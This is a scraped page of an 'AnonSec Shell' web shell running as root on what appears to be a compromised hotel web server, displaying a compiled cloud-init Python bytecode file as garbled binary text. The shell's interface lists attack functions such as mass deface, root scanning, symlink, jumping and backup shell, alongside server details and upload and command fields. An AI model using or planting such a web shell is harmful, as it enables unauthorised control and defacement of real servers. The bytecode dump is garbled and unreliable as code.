AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceConfigDrive.cpython-310.pyc
o

x[h�,�@s�ddlZddlZddlmZmZmZmZddlmZm	Z	ddl
mZddlm
Z
ddlmZe�e�ZdZdeiZd	Zd
ZdZedd
�eD��ZGdd�dejej�Zdd�Zdd�Zddd�Zdd�Z ddd�Z!eZ"eej#ffgZ$dd�Z%dS)�N)�	lifecycle�sources�subp�util)�
EventScope�	EventType)�eni)�get_ibm_platform)�	openstackziid-dsconfigdrive�instance-id)�vfat�iso9660)zconfig-2zCONFIG-2)�sr�cdccs*�|]}td�D]	}d||fVqqdS)�z	/dev/%s%sN)�range)�.0�z�i�r�I/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceConfigDrive.py�	<genexpr>s�(rcsreZdZdZejejejej	ej
hiZ�fdd�Zdd�Z
dd�Zdd	�Zed
d��Zedd
��Zdd�Z�ZS)�DataSourceConfigDrive�ConfigDrivecs\tt|��|||�d|_tj�|jd�|_d|_d|_	d|_
tj|_
d|_d|_i|_dS)N�config_drive)�superr�__init__�source�os�path�join�seed_dir�version�ec2_metadata�_network_configr�UNSET�network_json�network_eni�
known_macs�files)�self�sys_cfg�distro�paths��	__class__rrr.s
zDataSourceConfigDrive.__init__cCs0tj�|�}d||j|jf}|d|j7}|S)Nz%s [%s,ver=%s]z[source=%s])r�
DataSource�__str__�dsmoder"r)r*�root�mstrrrrr1:szDataSourceConfigDrive.__str__c

Cs�d}i}i}|jdfD]#}tj�|�sqz	t|�}|}Wntjy.t�t	d|�Yqw|s�|j
�d�}t|d�D]C}d}t�
�rK|�d�rKd}ztj|t|d�}|}Wn#tjyaYntjyjYntjyzt�t	d|�Ynw|rnq<|s�d	S|�d
i�}t�|tg�}|�|�d�|j�d�|dd
kr�tjndg�|_|jtjkr�d	St|j�}|d}	||	kr�t||j|jtjkd�|jtjkr�t	�d||j�d	S||_||_ |�d�|_!|�d�|_"|d|_#|j$�%|�di��|�d�}
zt�&|
�|_'Wnt(�y%}zt	�)d|�d|_'WYd}~nd}~ww|�d�}zt�&|�|_*Wnt(�yO}zt	�)d|�d|_*WYd}~nd}~ww|�d�|_+|�d�|_,dS)Nz
/config-drivez#Failed reading config drive from %s�datasource_list)�dslistz/dev/cd�cd9660)�mtypezBroken config drive: %sF�metadatar2r"�r)r,�networkz&%s: not claiming datasource, dsmode=%szec2-metadata�userdatar)�
vendordataz"Invalid content in vendor-data: %s�vendordata2z#Invalid content in vendor-data2: %s�network_config�networkdataT)-r!rr�isdir�read_config_driver
�NonReadabler�logexc�LOGr+�get�find_candidate_devs�is_BSD�
startswith�mount_cb�MountFailedError�BrokenMetadata�
mergemanydict�DEFAULT_METADATA�_determine_dsmode�ds_cfgr�DSMODE_PASSr2�DSMODE_DISABLED�get_previous_iidr-�
on_first_bootr,�debugrr9r#�userdata_rawr"r)�update�convert_vendordata�vendordata_raw�
ValueError�warning�vendordata2_rawr'r&)
r*�found�md�results�sdirr6�devr8�prev_iid�cur_iid�vd�e�vd2rrr�	_get_data@s��
���
��

��

��
��zDataSourceConfigDrive._get_datacCst�|���S�N)r�instance_id_matches_system_uuid�get_instance_id)r*r+rrr�check_instance_id�sz'DataSourceConfigDrive.check_instance_idcCs�|jdur@|jdtjfvrt�d�tj|j|jd�|_|jS|j	dur;t
�|j	�|_t�d�tj
dddd�|jSt�d�|jS)	Nz(network config provided via network_json)r(z.network config provided via converted eni dataz(Eni network configuration in ConfigDrivez24.3z<You can use openstack's network configuration format instead)�
deprecated�deprecated_version�
extra_messagez"no network configuration available)r$r&rr%rErUr
�convert_net_jsonr(r'r�convert_eni_datar�	deprecate�r*rrrr?�s$

�
�
�

�z$DataSourceConfigDrive.network_configcCsdS)Nr
rrrrrr�platform�szDataSourceConfigDrive.platformcCs$|j�d�r	d}nd}d||jfS)z/Return the subplatform metadata source details.z/devzconfig-diskzseed-dirz%s (%s))rrI)r*�subplatform_typerrr�_get_subplatform�sz&DataSourceConfigDrive._get_subplatform)�__name__�
__module__�__qualname__�dsnamer�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�HOTPLUG�supported_update_eventsrr1rgrk�propertyr?rsru�
__classcell__rrr.rr!s$��	d

rcCs�t�|�}|jgif|jgifg}g}|D]'\}}}z
||i|��WStjy<}z|�|�WYd}~qd}~ww|d�)N���)r
�ConfigDriveReader�read_v2�read_v1rC�append)�
source_dir�reader�finders�excps�functor�args�kwargsrerrrrB�s


���rBcCs<tj�|�d�d�}z	t�|��d�WStyYdSw)N�datar�
)rrr �	get_cpathr�load_text_file�rstrip�IOError)r-�fnamerrrrS�s�rSTcCs^t|t�s
tdt|���|r&|�dd�}|r&|r&t�d�|�t�	|��t
|�d��dS)zDPerforms any first-boot actions using data read from a config-drive.z/Config-drive data expected to be a dict; not %sr?�z-Updating network interfaces from config driver)N)�
isinstance�dict�	TypeError�typerFrEr[�apply_network_configrrp�write_injected_files)r�r,r;�net_confrrrrT�s

�
rTc	Csx|r8t�dt|��|��D]+\}}|�tj�stj|}z
tj||dd�Wqt	y7t�
td|�YqwdSdS)NzWriting %s injected filesi�)�modezFailed writing file: %s)rErU�len�itemsrIr�sepr�
write_filer�rD)r)�filename�contentrrrr��s
��r�c
	s
|durg}|rtD]}ztj|d�Wq
tjyYq
wg}tD]}|�t�d|��q#g�tD]}��t�d|��q4|jdd��jdd���fdd�|D�}�fd	d�|D�}t	�
d
||�|r�d|vr�t�\}}	|	|vr�|�|	�t	�
d|	|�|S)
aReturn a list of devices that may contain the config drive.

    The returned list is sorted by search order where the first item has
    should be searched first (highest priority)

    config drive v1:
       Per documentation, this is "associated as the last available disk on the
       instance", and should be VFAT.
       Currently, we do not restrict search list to "last available disk"

    config drive v2:
       Disk should be:
        * either vfat or iso9660 formatted
        * labeled with 'config-2' or 'CONFIG-2'
    N)rzTYPE=%szLABEL=%sT)�reversecsg|]}|�vr|�qSrr�r�d��by_labelrr�
<listcomp>*sz'find_candidate_devs.<locals>.<listcomp>cs"g|]
}|�vs
t�|�s|�qSr)r�is_partitionr�r�rrr�.szdevices=%s dslist=%s�IBMCloudz5IBMCloud device '%s' (%s) removed from candidate list)
�OPTICAL_DEVICESr�find_devs_withr�ProcessExecutionError�FS_TYPES�extend�LABEL_TYPES�sortrErUr	�remove)
�
probe_opticalr6�device�	by_fstype�fs_type�label�
candidates�devices�ibm_platform�ibm_pathrr�rrGs@�
�

�rGcCst�|t�Srh)r�list_from_depends�datasources)�dependsrrr�get_datasource_listKsr�)NT)TN)&�loggingr�	cloudinitrrrr�cloudinit.eventrr�
cloudinit.netr�$cloudinit.sources.DataSourceIBMCloudr	�cloudinit.sources.helpersr
�	getLoggerrvrE�DEFAULT_IIDrNr�r��POSSIBLE_MOUNTS�tupler��SourceMixinr0rrBrSrTr�rG�DataSourceConfigDriveNet�DEP_FILESYSTEMr�r�rrrr�<module>s8
��,

B
�

Anon7 - 2022
AnonSec Team